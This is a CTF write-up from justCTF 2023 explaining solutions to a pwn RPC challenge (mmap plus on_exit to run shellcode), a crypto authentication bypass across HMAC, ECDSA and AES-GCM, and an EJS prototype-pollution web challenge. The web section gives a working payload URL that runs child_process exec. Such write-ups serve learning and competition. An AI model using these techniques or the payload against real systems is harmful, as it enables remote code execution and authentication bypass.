justCTF 2023
Still a nice game. Fortunately, we won the first place this time. And my teammates are all gods, so I didn’t have the chance to do the reverse challenges orz. During this game, I solved one Pwn, one Crypto, and one Web challenge. Some of them are very technical, you need to think of some tricks to bypass the restrictions.
You can get the attachments here.
Tic Tac PWN!
Description: Let’s pretend I just learned about this cool thing called RPC and wrote a simple example! Is it secure?
Author: ptrtofuture
Category: PWN
Points: 435
Solves: 4
The server receives one line of input each time, in the format:
1 | lib_name:func_name arg1 arg2 arg3 arg4 arg5 arg6 |
After parsing, use dlsym
to find the corresponding function to call:
1 | // Open the lib. |
The input library name must be concatenated with rpc_
, so it is hard to load arbitrary libraries. Coincidentally, the attachment rpc_tictactoe.so
imports libc. So we can get any libc function pointer through dlsym
.
Before thinking about what libc functions to use, we must find out how to bypass the annoying security_check
:
1 | bool security_check() { |
This function will be called before each rpc-call. It checks whether a piece of memory in the low address area has been mmaped. If any errors are found, kill the process through exit
:
1 | if (!security_check()) { |
Meanwhile, parameters 1-6 are defined in the main function as follows:
1 | unsigned int arg1, arg2, arg3, arg4, arg5, arg6; |
Therefore, if we want to call mmap
and specify the address (the program will not tell the client the return value of each rpc-call), it will definitely fail the next security_check
, which will cause the program to exit. But it can be used with on_exit
(in libc) to jump to the mapped memory before the program actually exits.
So the exploit should end with:
1 | on_exit(0x10000); |
The file corresponding to file handle 3
should contain shellcode.
The problem turns into how to open a file with shellcode or how to open a file (with write permission) and write shellcode.
The answer is to use tmpfile
to create an RW temporary file, and then use splice
to copy the content of the standard input to the file.
In this way, arbitrary code execution can be achieved with four libc functions in this restricted environment. The EXP is as follows:
1 | from pwn import * |
Multi Auth
Description: Every crypto code may have bugs, so we have made a multi-authentication system diversifying across algorithms and languages.
Author: gros
Category: CRYPTO
Points: 373
Solves: 9
The bugs in this question are all from the features of specific languages in the implementation of cryptographic algorithms or the wrong usage of them.
The top-level rust script is equivalent to a dispatcher, calling:
- index.py: implements
auth
andverify
based on hmac - index.go: implements
auth
andverify
based on ecdsa - index.js: implements
auth
andverify
based on aes-256-gcm
The bypass of hmac is simple. Pay attention to the implementation of the auth
function in the python script:
1 | def auth(key, msg): |
The positions of key and msg are reversed. According to hmac definition, we know that if the key is longer than the block size of the hash function, then the real key used to generate the hmac is the hash value of the key.
So after sending the sha256
value of the forbidden string through auth
, we can get a signature that can pass the verify
.
The input received by the ecdsa part is forbidden || hmac
:
1 | let hmac_signature = hmac_auth.call(&rpc).await?; |
When calling ecdsa.SignASN1
, pass msg
as the hash
parameter:
1 | // SignASN1 signs a hash (which should be the result of hashing a larger message) |
The comment also tells us that the hash will be converted to a number smaller than the curve order, and the truncation method is:
1 | func hashToNat[Point nistPoint[Point]](c *nistCurve[Point], e *bigmod.Nat, hash []byte) { |
The order used here is 521, and our message is 520 bits. So theoretically adding the first byte of hmac can get a signature that passes verify
.
As for the aes part, the 15 bytes returned by backdoor is 12 bytes of iv || 3 bytes of tag
. Nodejs checks whether the tag length is valid in this way:
1 | bool IsValidGCMTagLength(unsigned int tag_len) { |
Therefore, the 4-byte tag can also work without any exception. Only the last byte needs to be tested.
The EXP is as follows:
1 | import json |
Perfect Product
Description: Check out my newest product gallery.
Category: WEB
Points: 340
Solves: 13
The source code is quite simple:
1 | app.get('/', (req, res) => { |
It uses the ejs rendering engine:
1 | app.set('view engine', 'ejs'); |
And we can find some relevant posts:
So now we know:
- the prototype of
data
is controllable - set cache to a
null
string to disable view cache so that we can modify view options - we can modify the
escapeFunction
whenclient
is set to a valid value
The POC is as follows:
1 | /product?v[__proto__][]=exp&v[__proto__][]=exp&v[__proto__][]=exp&v[__proto__][]=exp&v[_proto__][cache]=&v[_proto__][settings][view options][client]=1&v[_proto__][settings][view options][escapeFunction]=process.mainModule.constructor._load("child_process").exec("calc"); |